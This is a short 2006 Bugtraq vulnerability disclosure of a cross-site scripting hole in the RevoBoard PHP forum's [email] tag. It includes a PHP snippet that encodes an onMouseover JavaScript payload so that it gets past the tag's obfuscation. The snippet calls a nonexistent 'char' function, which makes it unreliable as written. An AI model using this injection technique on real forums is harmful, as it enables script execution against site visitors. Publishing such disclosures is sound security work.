bugtraq - RevoBoard [email] tag XSS

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Date: 13 Apr 2006 06:45:30 -0000
From: r0xes.ratm@...il.com
To: bugtraq@...urityfocus.com
Subject: RevoBoard [email] tag XSS


Revoboard (php) is based on an earlier version of PunBB.
I know for sure that this affects v1.8.

The email tag parser obsfucates emails to stop harvesters. To execute code, do this: 
[php]
$code = '\'" onMouseover="javascript:alert(/xss/)">';
for($a=0;$a<strlen($code);$a++){
     $c = ord(substr($code,$a,1));
     $c += intval(-2);
     $str .= char($c);
}
print $str;
[/php]

And you just paste $str into the tag =).

r0xes

dynxss.whiteacid.org
criticalsecurity.net